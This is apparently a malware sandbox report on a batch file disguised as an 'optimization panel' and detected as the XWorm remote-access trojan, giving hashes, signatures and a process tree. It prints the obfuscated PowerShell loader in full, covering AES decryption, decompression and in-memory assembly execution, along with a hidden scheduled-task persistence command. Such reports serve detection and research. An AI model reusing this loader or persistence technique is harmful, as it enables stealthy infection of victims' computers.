Analysis
- max time kernel
7s - max time network
17s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system - submitted
13/06/2024, 01:27
Static task
static1
Behavioral task
behavioral1
Sample
SpleenysOptimizationPanel.bat
Resource
win7-20240419-en
4 signatures
150 seconds
General
- Target SpleenysOptimizationPanel.bat
- Size 1.1MB
- Sample240613-bvdc4ssgll
- SHA256 b0359c1018ab5d04e21ead075475b6866d48ed11ba8dbc9022f007d1bd2da2ef
- MD5 5f3a46a1712209c4e58fa99dd644ff8f
- SHA1 23f16789e9182e556409dd9baf947ffc1009571f
- SHA512 7ee0b67a994a72a75c60ab785655da574badad93939dc6540bdf294dd42e724cddf0bfc94cb05dcbabfe1381fd7cead736890005c084d24e11e6f741aa51f492
- SSDEEP 24576:jQ0fWLaf/+d7V2gli2kC/RhLgZ8RXqZQGJeHIWzqNw5:jJ3M77fnLgZ8RXVoE
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Detect Xworm Payload 1 IoCs
resource yara_rule behavioral2/memory/2812-16-0x00000215B02F0000-0x00000215B0402000-memory.dmp family_xworm - Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 2812 powershell.exe 4596 powershell.exe 3132 powershell.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation WScript.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings powershell.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 2812 powershell.exe 2812 powershell.exe 4596 powershell.exe 4596 powershell.exe 3132 powershell.exe 3132 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2812 powershell.exe Token: SeDebugPrivilege 4596 powershell.exe Token: SeIncreaseQuotaPrivilege 4596 powershell.exe Token: SeSecurityPrivilege 4596 powershell.exe Token: SeTakeOwnershipPrivilege 4596 powershell.exe Token: SeLoadDriverPrivilege 4596 powershell.exe Token: SeSystemProfilePrivilege 4596 powershell.exe Token: SeSystemtimePrivilege 4596 powershell.exe Token: SeProfSingleProcessPrivilege 4596 powershell.exe Token: SeIncBasePriorityPrivilege 4596 powershell.exe Token: SeCreatePagefilePrivilege 4596 powershell.exe Token: SeBackupPrivilege 4596 powershell.exe Token: SeRestorePrivilege 4596 powershell.exe Token: SeShutdownPrivilege 4596 powershell.exe Token: SeDebugPrivilege 4596 powershell.exe Token: SeSystemEnvironmentPrivilege 4596 powershell.exe Token: SeRemoteShutdownPrivilege 4596 powershell.exe Token: SeUndockPrivilege 4596 powershell.exe Token: SeManageVolumePrivilege 4596 powershell.exe Token: 33 4596 powershell.exe Token: 34 4596 powershell.exe Token: 35 4596 powershell.exe Token: 36 4596 powershell.exe Token: SeIncreaseQuotaPrivilege 4596 powershell.exe Token: SeSecurityPrivilege 4596 powershell.exe Token: SeTakeOwnershipPrivilege 4596 powershell.exe Token: SeLoadDriverPrivilege 4596 powershell.exe Token: SeSystemProfilePrivilege 4596 powershell.exe Token: SeSystemtimePrivilege 4596 powershell.exe Token: SeProfSingleProcessPrivilege 4596 powershell.exe Token: SeIncBasePriorityPrivilege 4596 powershell.exe Token: SeCreatePagefilePrivilege 4596 powershell.exe Token: SeBackupPrivilege 4596 powershell.exe Token: SeRestorePrivilege 4596 powershell.exe Token: SeShutdownPrivilege 4596 powershell.exe Token: SeDebugPrivilege 4596 powershell.exe Token: SeSystemEnvironmentPrivilege 4596 powershell.exe Token: SeRemoteShutdownPrivilege 4596 powershell.exe Token: SeUndockPrivilege 4596 powershell.exe Token: SeManageVolumePrivilege 4596 powershell.exe Token: 33 4596 powershell.exe Token: 34 4596 powershell.exe Token: 35 4596 powershell.exe Token: 36 4596 powershell.exe Token: SeIncreaseQuotaPrivilege 4596 powershell.exe Token: SeSecurityPrivilege 4596 powershell.exe Token: SeTakeOwnershipPrivilege 4596 powershell.exe Token: SeLoadDriverPrivilege 4596 powershell.exe Token: SeSystemProfilePrivilege 4596 powershell.exe Token: SeSystemtimePrivilege 4596 powershell.exe Token: SeProfSingleProcessPrivilege 4596 powershell.exe Token: SeIncBasePriorityPrivilege 4596 powershell.exe Token: SeCreatePagefilePrivilege 4596 powershell.exe Token: SeBackupPrivilege 4596 powershell.exe Token: SeRestorePrivilege 4596 powershell.exe Token: SeShutdownPrivilege 4596 powershell.exe Token: SeDebugPrivilege 4596 powershell.exe Token: SeSystemEnvironmentPrivilege 4596 powershell.exe Token: SeRemoteShutdownPrivilege 4596 powershell.exe Token: SeUndockPrivilege 4596 powershell.exe Token: SeManageVolumePrivilege 4596 powershell.exe Token: 33 4596 powershell.exe Token: 34 4596 powershell.exe Token: 35 4596 powershell.exe - Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 4536 wrote to memory of 1536 4536 cmd.exe 85 PID 4536 wrote to memory of 1536 4536 cmd.exe 85 PID 4536 wrote to memory of 2812 4536 cmd.exe 86 PID 4536 wrote to memory of 2812 4536 cmd.exe 86 PID 2812 wrote to memory of 4596 2812 powershell.exe 88 PID 2812 wrote to memory of 4596 2812 powershell.exe 88 PID 2812 wrote to memory of 2852 2812 powershell.exe 91 PID 2812 wrote to memory of 2852 2812 powershell.exe 91 PID 2852 wrote to memory of 4032 2852 WScript.exe 92 PID 2852 wrote to memory of 4032 2852 WScript.exe 92 PID 4032 wrote to memory of 4340 4032 cmd.exe 95 PID 4032 wrote to memory of 4340 4032 cmd.exe 95 PID 4032 wrote to memory of 3132 4032 cmd.exe 96 PID 4032 wrote to memory of 3132 4032 cmd.exe 96
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\SpleenysOptimizationPanel.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4536 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RidMGvr6PLJ5yftWUfWmoxOVKDOxqx5RRPt0bLzTEfc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('O+igjiht9xQbulK8zzRJZQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $SrOue=New-Object System.IO.MemoryStream(,$param_var); $OtVAb=New-Object System.IO.MemoryStream; $vWrRZ=New-Object System.IO.Compression.GZipStream($SrOue, [IO.Compression.CompressionMode]::Decompress); $vWrRZ.CopyTo($OtVAb); $vWrRZ.Dispose(); $SrOue.Dispose(); $OtVAb.Dispose(); $OtVAb.ToArray();}function execute_function($param_var,$param2_var){ $oXrWG=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $bBdVc=$oXrWG.EntryPoint; $bBdVc.Invoke($null, $param2_var);}$pMrVs = 'C:\Users\Admin\AppData\Local\Temp\SpleenysOptimizationPanel.bat';$host.UI.RawUI.WindowTitle = $pMrVs;$orfmP=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($pMrVs).Split([Environment]::NewLine);foreach ($XWbeO in $orfmP) { if ($XWbeO.StartsWith('lilsuawYCydygtZyEeYr')) { $tJIdw=$XWbeO.Substring(20); break; }}$payloads_var=[string[]]$tJIdw.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "2⤵PID:1536
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2812 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_269_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_269.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4596
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_269.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2852 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_269.bat" "4⤵
- Suspicious use of WriteProcessMemory
PID:4032 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RidMGvr6PLJ5yftWUfWmoxOVKDOxqx5RRPt0bLzTEfc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('O+igjiht9xQbulK8zzRJZQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $SrOue=New-Object System.IO.MemoryStream(,$param_var); $OtVAb=New-Object System.IO.MemoryStream; $vWrRZ=New-Object System.IO.Compression.GZipStream($SrOue, [IO.Compression.CompressionMode]::Decompress); $vWrRZ.CopyTo($OtVAb); $vWrRZ.Dispose(); $SrOue.Dispose(); $OtVAb.Dispose(); $OtVAb.ToArray();}function execute_function($param_var,$param2_var){ $oXrWG=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $bBdVc=$oXrWG.EntryPoint; $bBdVc.Invoke($null, $param2_var);}$pMrVs = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_269.bat';$host.UI.RawUI.WindowTitle = $pMrVs;$orfmP=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($pMrVs).Split([Environment]::NewLine);foreach ($XWbeO in $orfmP) { if ($XWbeO.StartsWith('lilsuawYCydygtZyEeYr')) { $tJIdw=$XWbeO.Substring(20); break; }}$payloads_var=[string[]]$tJIdw.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "5⤵PID:4340
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3132
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 3KB
- SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
- MD5 661739d384d9dfd807a089721202900b
- SHA1 5b2c5d6a7122b4ce849dc98e79a7713038feac55
- SHA512 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
- Size 2KB
- SHA256 342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d
- MD5 005bc2ef5a9d890fb2297be6a36f01c2
- SHA1 0c52adee1316c54b0bfdc510c0963196e7ebb430
- SHA512 f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_raky0zi1.k20.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_269.bat
- Size 1.1MB
- SHA256 b0359c1018ab5d04e21ead075475b6866d48ed11ba8dbc9022f007d1bd2da2ef
- MD5 5f3a46a1712209c4e58fa99dd644ff8f
- SHA1 23f16789e9182e556409dd9baf947ffc1009571f
- SHA512 7ee0b67a994a72a75c60ab785655da574badad93939dc6540bdf294dd42e724cddf0bfc94cb05dcbabfe1381fd7cead736890005c084d24e11e6f741aa51f492
- SSDEEP 24576:jQ0fWLaf/+d7V2gli2kC/RhLgZ8RXqZQGJeHIWzqNw5:jJ3M77fnLgZ8RXVoE
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_269.vbs
- Size 124B
- SHA256 eb7278838011bb620d4b9cf9f95eaff4e7372c2c03ad29e4610e028c0f578773
- MD5 89eabf6298abf860415ff7eb3d7b6be5
- SHA1 6b7792b74a33604568773e776e35edfed4063e31
- SHA512 8edea6d660cb6a8b0a9f171e1352291cd327eb7fb18b981c23367b23494af6e238430fd958edc0fd54dbe110e01362ded3bcda273712029654afe8435be3d7d2
- MD5 SHA1 SHA512